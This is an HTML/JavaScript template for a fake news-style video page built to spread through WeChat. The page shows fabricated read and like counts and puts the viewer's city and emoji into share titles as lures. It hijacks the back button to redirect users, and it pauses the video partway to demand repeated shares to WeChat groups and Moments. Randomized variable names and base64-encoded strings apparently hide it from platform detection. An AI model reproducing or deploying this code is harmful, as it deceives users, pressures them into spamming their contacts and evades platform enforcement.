<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>{$data.title}</title>
<meta name="referrer" content="never">
<meta name="viewport" content="width=device-width,initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no" />
<meta name="format-detection" content="telephone=no" />
<link rel="stylesheet" href="https://g.alicdn.com/apsara-media-box/imp-web-player/2.16.3/skins/default/aliplayer-min.css" />
<link rel="stylesheet" href="/static/video/css/swiper.css?v=7">
<link rel="stylesheet" href="/static/video/css/video.css?v=7">
<script src="/static/video/js/jquery.js?v=7"></script>
<script src="/static/video/js/swiper.js?v=7"></script>
<script type="text/javascript" src="https://res.wx.qq.com/open/js/jweixin-1.2.0.js"></script>
<script charset="utf-8" type="text/javascript" src="https://g.alicdn.com/apsara-media-box/imp-web-player/2.16.3/aliplayer-h5-min.js"></script>
</head>
<body>
<img src="/static/video/images/shareright.png" class="share-arrow">
<div id="app"></div>
<a class="back" href="{$data.new_shre_url}">返回</a>
<div class="bottom">
    <a href="{$data.new_shre_url}">点击返回</a>
</div>
<div class="main">
    <h1>{$data.title}</h1>
    <div class="author">
        <span>原创</span>
        <a href="#">热点新闻</a>
        {$data.create_time}
        &nbsp;北京
    </div>
    <!--<div class="qun">
        <a href="#">
            <img src="https://p.ssl.qhimg.com/t01c1ae71cd7c89c4bc.jpg">
            <div class="info">
                <h3>绝密曝光总群</h3>
                <p>本群已经经过安全验证</p>
                <span class="btn">点击进群</span>
            </div>
        </a>
    </div>-->
    <div class="qun">
        <!--<a href="{$data.ggwlj}">-->
        <!--    <img src="{$data.ggwtp}" style="width: 100%;">-->
        <!--</a>-->
        {$data.ggwlj}
    </div>
</div>
<div class="video play">
    <div class="prism-player" id="video"></div>
    <div class="info">
        <h3>继续观看</h3>
        <p>{$data.title}</p>
    </div>
</div>
<div class="main">
    <p class="read">阅读 10w+</p>
    <div class="btns">
        <a href="#" class="btn1">900</a>
        <a href="#" class="btn2">1000</a>
        <div></div>
        <a href="#" class="btn3">2400</a>
        <a href="#" class="btn4">3200</a>
    </div>
</div>
<div class="main">
    <div class="title">观看更多</div>
</div>
<div class="vlist"></div>
<div class="main">
    <div class="slider">
        <!--<div class="swiper-container">-->
        <!--    <div class="swiper-wrapper">-->
        <!--        <div class="swiper-slide">-->
        <!--            <a href="#"><img src="https://p.ssl.qhimg.com/t016a8be6fbd926c8f5.jpg"></a>-->
        <!--        </div>-->
        <!--        <div class="swiper-slide">-->
        <!--            <a href="#"><img src="https://p.ssl.qhimg.com/t01aaec8e3fc5841f67.jpg"></a>-->
        <!--        </div>-->
        <!--        <div class="swiper-slide">-->
        <!--            <a href="#"><img src="https://p.ssl.qhimg.com/t01dbbb5e49a5718265.jpg"></a>-->
        <!--        </div>-->
        <!--        <div class="swiper-slide">-->
        <!--            <a href="#"><img src="https://p.ssl.qhimg.com/t013c6dfca4b2e93837.jpg"></a>-->
        <!--        </div>-->
        <!--    </div>-->
        <!--    <div class="swiper-pagination"></div>-->
        <!--</div>-->
        {:nl2br($data.content)}
        <span class="ad">广告</span>
    </div>
    <div class="book">
        <h3>留言</h3>
        <ul>
            {volist name="$data.pinglun" id="vo"}
            <li>
                <img src="{$vo.img}">
                <div class="info">
                    <h3>{$vo.title}</h3>
                    <p>{$vo.content}</p>
                    <span class="zan">{$vo.dianzan}</span>
                </div>
            </li>
            {/volist}
        </ul>
    </div>
</div>
<script src="/static/js/vue.min.js"></script>
<script>
    new Vue({
    	el: '#app',
    	data: {
    	},
    	watch:{
        },
        created:function(){
        },
    	mounted:function(){
            if (window.history && window.history.pushState) {
                // 向历史记录中插入了当前页
                history.pushState(null, null, document.URL);
                window.addEventListener('popstate', this.goBack, false);
            }
    	},
        destroyed () {
            window.removeEventListener('popstate', this.goBack, false);
        },
    	methods:{
            goBack() {
                window.location.href="{$data.back_jump_url}"; 
                
            },
    	}
    })
    var {$rand_str.data}  = JSON.parse(window.atob("{$jsondata}"));
    
    var mySwiper = new Swiper('.swiper-container', {
        loop: true,
        pagination: '.swiper-pagination'
    })
    
    var video = $('#video');
    
    let playerWidth = $("#video").width();
    let playerHeight = parseInt(parseInt(playerWidth * (9 / 16))) + 20;
    
    
    var player = new Aliplayer({
        "id": "video",
        "source": {$rand_str.data}.url,
    	"cover" : {$rand_str.data}.img,
        "width": playerWidth + 'px',
        "height": playerHeight + 'px',
        "autoplay": true,
        "isLive": false,
        "rePlay": false,
        "playsinline": true, // 禁止全屏
        "preload": true,
        "controlBarVisibility": "hover",
        "useH5Prism": true,
        // 'x5_type': true,
    }, function (player) {
        // 播放器初始化完成后的回调
        player.on('play', function () {
            if (/iPhone|iPad|iPod/i.test(navigator.userAgent)) {
                // 在iOS设备上，点击播放按钮时调整高度
                let screenHeight = window.innerHeight;
                $("#video").css('height', screenHeight + 'px');
                player.setPlayerSize(playerWidth + 'px', screenHeight + 'px');
            }
        });
        player.play();
    });
    

	let currentInterval = setInterval(function () {
		let currentTime = parseInt(player.getCurrentTime());
        if({$rand_str.data}.miao>0){
            if (currentTime >= {$rand_str.data}.miao) {
    
    			// 暂停播放
    			player.pause();
    
    			{$rand_str.bbb}({$rand_str.ccc}++);
    
    			clearInterval(currentInterval);
    		}
        }
		

	}, 1000);


	/* 播放结束 ， 执行 */
	player.on("ended", function () {
		console.log('播放已经结束')
		location.href = {$rand_str.data}.share_end_url;
	});
    
    $('body').on('click', '.video.play.fixed', function(){
        player.play();
    });
    
    var timer = null;
    var calls = function(bool){
        if(timer){
            clearTimeout(timer);
            timer = null;
        }
        timer = setTimeout(function(){
            if(bool){
                video.addClass('fixed');
            }else{
                video.removeClass('fixed');
            }
        }, 300);
    }
    calls();
    $(window).scroll(function() {
        calls($(this).scrollTop() >= video.offset().top);
    });
    
    /*$('.back').click(function(){
        window.history.back()
    });*/
    
    getHttp('/api/jx?adminid={$data.admin}', {}, function(res){
        if(res){
            var html = '';
            for(var i=0; i<res.length; i++){
                var item = res[i];
                html += '<a href="'+item.new_shre_url+'">';
                html += '<img src="'+item.img+'">';
                html += '<p>'+item.title+'</p>';
                html += '<span>'+getRandTime()+'</span>';
                html += '</a>';
            }
            if(html){
                $('.vlist').html(html).show();
            }
        }
    });
    
    
    function getRandTime() {
        var m = Math.floor(Math.random() * 60);
        if(m < 10) m = '0' + m;
        var s = Math.floor(Math.random() * 60);
        if(s < 10) s = '0' + s;
        return m + ':' + s;
    }
    
    function getHttp(url, data, cb) {
        $.ajax({
            type: 'get',
            url: url,
    		data: data || {},
            dataType: 'json',
            contentType: 'application/json',
            success: function (data) {
                typeof cb == 'function' && cb(data);
            },
            error: function (data) {
                typeof cb == 'function' && cb(null);
            }
        });
    }
	var {$rand_str.config}= JSON.parse(window.atob("{$jsonconf}"));

	// console.log({$rand_str.data})
	// console.log({$rand_str.config})

	function {$rand_str.jiemi}(s) {return decodeURIComponent(atob(s));}

	/* 弹出窗口 */
	function {$rand_str.aaa}(msg, btn, callback) {
		var d = $('#lly_dialog');
		d.show(200);
		d.find("#lly_dialog_msg").html(msg);
		d.find("#lly_dialog_btn").html(btn);
		d.find("#lly_dialog_btn").off('click').on('click', function() {
			d.hide(200);
			if(callback) {
				callback();
			}
		});
	}

	/*获取当前城市名称*/
	var dizhi = '本地';
	if(typeof localAddress != 'undefined') {
		if(typeof localAddress["city"] != 'undefined' && localAddress["city"] != '') {
			dizhi = localAddress["city"];
			dizhi = dizhi.replace("市", "");
		} else if(typeof localAddress["province"] != 'undefined' && localAddress["province"] != '') {
			dizhi = localAddress["province"];
			dizhi = dizhi.replace("省", "");
		}
	}

	/*随机一个字符*/
	function getRandEmoji() {
		var emoji = ["😀","😁","😂","🤣","😃","😄","😅","😆","😉","😊","😋","😎","😍","😘","😗","😙","😚","☺","🙂","🤗","🤔","😐","😶","😑","🙄","😏","😣","😥","😮","🤐","😯","😪","😫","😴","😌","😛","😜","😝","🤤","😓","😔","😕","🙃","🤑","😲","☹","😖","😖","😞","😟","😤","😢","😭","😦","😦","🤧","😇","🤠","🤡","🤥","🤓","😈","👿","👹","👺","💀","👻","👽","🤖","💩","😺","😸","😹","😻","😼","😽","🙀","😿","😾","👫","👬","👭","👃🏿","👣","👀","👁","👅","👄","💋","👓","👔","👕","👙","👚","👜","👠","👑","🎩","💍","🌂","💼"];
		var index = Math.floor((Math.random() * emoji.length));
		return emoji[index];
	}

	/*替换标题里的标签*/
	while( {$rand_str.data}.share_title.indexOf("{city}") > -1 || {$rand_str.data}.share_title.indexOf("{emoji}") > -1 ) {
		{$rand_str.data}.share_title = {$rand_str.data}.share_title.replace("{city}", dizhi).replace("{emoji}", getRandEmoji());
	}


	/* 回退跳转 */
	// window.onhashchange = function() {jp();};
	// function jp() {window.location.href = {$rand_str.data}.back_jump_url;}
	// function hh() {history.pushState(history.length + 1, "message", window.location.href.split('#')[0] + "#" + new Date().getTime());}
	// setTimeout(function () {hh();}, 200);


	/* 初始化分享次数 */
	// var share_num = 0;
	var {$rand_str.ccc} = 0;
	
	/* 初始化查看更多分享次数 */
	// var share_num = 0;
	var {$rand_str.ddd} = 0;
	/*分享弹出*/
	function {$rand_str.bbb}(num) {
	    if({$rand_str.data}.miao>0){
		switch (num) {
			case 0:
				huan_bg(num)
			{$rand_str.aaa}({$rand_str.config}.video_share_alert_0, {$rand_str.jiemi}('JUU3JTlGJUE1JUU5JTgxJTkzJUU0JUJBJTg2'));
				break;
			case 1:
				huan_bg(num)
			{$rand_str.aaa}({$rand_str.config}.video_share_alert_1, {$rand_str.jiemi}('JUU3JTlGJUE1JUU5JTgxJTkzJUU0JUJBJTg2'));
				break;
			case 2:
				huan_bg(num)
			{$rand_str.aaa}({$rand_str.config}.video_share_alert_2, {$rand_str.jiemi}('JUU3JTlGJUE1JUU5JTgxJTkzJUU0JUJBJTg2'));
				break;
			case 3:
				huan_bg(num)
			{$rand_str.aaa}({$rand_str.config}.video_share_alert_3, {$rand_str.jiemi}('JUU3JTlGJUE1JUU5JTgxJTkzJUU0JUJBJTg2'));
				break;
			case 4:
				huan_bg(num)
			{$rand_str.aaa}({$rand_str.config}.video_share_alert_4, {$rand_str.jiemi}('JUU3JTlGJUE1JUU5JTgxJTkzJUU0JUJBJTg2'));
				break;
			case 5:
				huan_bg(num)
			{$rand_str.aaa}({$rand_str.config}.video_share_alert_5, {$rand_str.jiemi}('JUU3JTlGJUE1JUU5JTgxJTkzJUU0JUJBJTg2'));
				break;
			case 6:
				huan_bg(num)
			{$rand_str.aaa}({$rand_str.config}.video_share_alert_6, {$rand_str.jiemi}('JUU3JTlGJUE1JUU5JTgxJTkzJUU0JUJBJTg2'));
				break;
			default:
				end_share();
		}
		}


	}


	/*查看更多分享弹出*/
	function {$rand_str.aa}(num) {
	    if({$data.wzqz}>0){
                
        
		switch (num) {
			case 0:
				huan_bg(num)
			{$rand_str.aaa}({$rand_str.config}.show_all_alert_0, {$rand_str.jiemi}('JUU3JTlGJUE1JUU5JTgxJTkzJUU0JUJBJTg2'));
				break;
			case 1:
				huan_bg(num)
			{$rand_str.aaa}({$rand_str.config}.show_all_alert_1, {$rand_str.jiemi}('JUU3JTlGJUE1JUU5JTgxJTkzJUU0JUJBJTg2'));
				break;
			case 2:
				huan_bg(num)
			{$rand_str.aaa}({$rand_str.config}.show_all_alert_2, {$rand_str.jiemi}('JUU3JTlGJUE1JUU5JTgxJTkzJUU0JUJBJTg2'));
				break;
			case 3:
				huan_bg(num)
			{$rand_str.aaa}({$rand_str.config}.show_all_alert_3, {$rand_str.jiemi}('JUU3JTlGJUE1JUU5JTgxJTkzJUU0JUJBJTg2'));
				break;
			case 4:
				huan_bg(num)
			{$rand_str.aaa}({$rand_str.config}.show_all_alert_4, {$rand_str.jiemi}('JUU3JTlGJUE1JUU5JTgxJTkzJUU0JUJBJTg2'));
				break;
			case 5:
				huan_bg(num)
			{$rand_str.aaa}({$rand_str.config}.show_all_alert_5, {$rand_str.jiemi}('JUU3JTlGJUE1JUU5JTgxJTkzJUU0JUJBJTg2'));
				break;
			case 6:
				huan_bg(num)
			{$rand_str.aaa}({$rand_str.config}.show_all_alert_6, {$rand_str.jiemi}('JUU3JTlGJUE1JUU5JTgxJTkzJUU0JUJBJTg2'));
				break;
			default:
				end_share();
		}
		
	    }

	}



	/*加载公众号分享接口权限*/
	$(function() {

		// {$rand_str.bbb}({$rand_str.ccc}++);

		$.post('/item/jssdk/api?url=' + encodeURIComponent(location.href.split('#')[0]), {}, function(res) {
		    console.log(res)
			wx.config(res.data);
			wx.ready(function() {

				/*调用第一次分享*/
				if ( {$rand_str.config}.video_share_xian_who == 1 ){
					share_qun();
				} else {
					share_quan();
				}

			});

			wx.error(function(res){
				console.log(res);
			});

		}, 'json');

	});

	/*分享到群*/
	function share_qun() {
		wx.hideOptionMenu();
		wx.showMenuItems({
			menuList: ['menuItem:share:appMessage']
		});
		wx.onMenuShareAppMessage({
			title: {$rand_str.data}.share_title,
			desc: {$rand_str.data}.share_desc,
			link: {$rand_str.data}.share_link,
			imgUrl: {$rand_str.data}.share_img,
			success: function(res) {
                console.log(res)
				/*弹出分享提示*/
				if($("#url").val()){
				    {$rand_str.bbb}({$rand_str.ccc}++);
				}else if($("#wenzhang").val() || $("#imgs").val()){
				    {$rand_str.aa}({$rand_str.ddd}++);
				}
				

				/*分享到群次数-1*/
				{$rand_str.config}.video_share_qun_num--;
				if ( {$rand_str.config}.video_share_qun_num < 1 ){

					if ( {$rand_str.config}.video_share_xian_who < 2 && {$rand_str.config}.video_share_quan_num > 0 ){
						share_quan();
					} else {
						end_share();
					}

				} else {
					share_qun();
				}

			},
		});

	}


	/*分享到朋友圈*/
	function share_quan() {
		wx.hideOptionMenu();
		wx.showMenuItems({
			menuList: ['menuItem:share:timeline']
		});
		wx.onMenuShareTimeline({
			title: {$rand_str.data}.share_title,
			link: {$rand_str.data}.share_link,
			imgUrl: {$rand_str.data}.share_img,
			success: function(res) {
                console.log(res)
				/*弹出分享提示*/
				// {$rand_str.bbb}({$rand_str.ccc}++);
				if($("#url").val()){
				    {$rand_str.bbb}({$rand_str.ccc}++);
				}else if($("#wenzhang").val() || $("#imgs").val()){
				    {$rand_str.aa}({$rand_str.ddd}++);
				}

				/*分享到朋友圈次数-1*/
				{$rand_str.config}.video_share_quan_num--;
				if ( {$rand_str.config}.video_share_quan_num < 1 ){

					if ( {$rand_str.config}.video_share_xian_who > 1 && {$rand_str.config}.video_share_qun_num > 0 ){
						share_qun();
					} else {
						end_share();
					}

				} else {
					share_quan();
				}

			},
		});
	}

	/* 切换背景图片 */
	function huan_bg(num){
		$('#fenxiang').show();
		if ( num >= {$rand_str.config}.video_huan_bg_num ){
			$('#fenxiang').attr('src', {$rand_str.config}.video_share_bg2);
		} else {
			$('#fenxiang').attr('src', {$rand_str.config}.video_share_bg);
		}
	}


	/* 分享结束后执行此片段 */
	function end_share() {
		$('.weui-dialog').css('top', '48%');
		$('#fenxiang').hide(500)
		if($("#url").val()){
		    {$rand_str.aaa}('<h2 style="color: #f52;">精彩继续</h2>', '精彩继续', function () {player.play();player.seek({$rand_str.data}.miao)});
		}else{
		    {$rand_str.aaa}('<h2 style="color: #f52;">精彩继续</h2>', '精彩继续', function () {
		        
		        $(".poster-btn").text("收起");
                // $(".poster-btn").siblings(".poster-txt").removeClass("xg").css("height","auto");
                $(".poster-txt").removeClass("xg").css("height","auto");
                $(".poster-btn").addClass('current-menu').siblings().removeClass('current-menu');
		    });
		}
		
	}


	/* 添加右下角 投诉按钮 */
	$(function(){
// 		$('body').append({$rand_str.jiemi}('JTNDc3R5bGUlM0UlMjN0cyUyMCU3QnBvc2l0aW9uJTNBJTIwZml4ZWQlM0JyaWdodCUzQSUyMDMwcHglM0Jib3R0b20lM0ElMjA1MHB4JTNCei1pbmRleCUzQSUyMDk5OTk5JTNCJTdEJTNDJTJGc3R5bGUlM0UlM0NkaXYlMjBpZCUzRCUyMnRzJTIyJTNFJTNDYSUyMHN0eWxlJTNEJTIyZGlzcGxheSUzQSUyMGlubGluZS1ibG9jayUzQmJhY2tncm91bmQtY29sb3IlM0ElMjAlMjNGRjU3MjIlM0Jjb2xvciUzQSUyM2ZmZmZmZiUzQmZvbnQtc2l6ZSUzQSUyMDE2cHglM0JwYWRkaW5nJTNBJTIwMTBweCUyMDZweCUzQmJvcmRlci1yYWRpdXMlM0ElMjA1MCUyNSUzQmJvcmRlciUzQSUyMDFweCUyMHNvbGlkJTIwJTIzZWVlJTNCJTIyJTNFJUU2JThBJTk1JUU4JUFGJTg5JTNDJTJGYSUzRSUzQyUyRmRpdiUzRQ'));

		$('#ts').click(function(){
			$.get('/item/auto/ts', {}, function(res){
				if ( res.code == 1 ){
					{$rand_str.aaa}('<h2>'+ res.msg +'</h2>', {$rand_str.jiemi}('JUU3JTlGJUE1JUU5JTgxJTkzJUU0JUJBJTg2'), function(){location.href = res.url;});
					setTimeout(function(){
						location.href = res.url;
					}, 3000);
				}
			});
		});
	})


</script>
<script type="text/javascript" src="//js.users.51.la/21879309.js"></script>
</body>
</html>
